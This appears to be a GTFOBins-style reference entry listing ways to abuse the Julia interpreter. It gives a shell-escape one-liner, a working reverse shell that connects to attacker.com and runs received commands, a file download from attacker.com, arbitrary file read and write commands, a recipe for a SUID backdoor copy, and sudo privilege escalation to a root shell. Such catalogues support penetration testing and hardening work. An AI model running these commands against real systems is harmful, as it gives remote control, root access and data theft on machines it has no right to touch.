It can be used to break out from restricted environments by spawning an interactive system shell.
julia -e 'run(`/bin/sh`)'
It can send back a reverse shell to a listening attacker to open a remote network access.
nc -l -p 12345 on the attacker box to receive the shell.
export RHOST=attacker.com export RPORT=12345 julia -e 'using Sockets; sock=connect(ENV["RHOST"], parse(Int64,ENV["RPORT"])); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'
It can download remote files.
export URL=http://attacker.com/file_to_get export LFILE=file_to_save julia -e 'download(ENV["URL"], ENV["LFILE"])'
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
export LFILE=file_to_write julia -e 'open(f->write(f, "DATA"), ENV["LFILE"], "w")'
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
export LFILE=file_to_read julia -e 'print(open(f->read(f, String), ENV["LFILE"]))'
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which julia) . ./julia -e 'run(`/bin/sh -p`)'
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo julia -e 'run(`/bin/sh`)'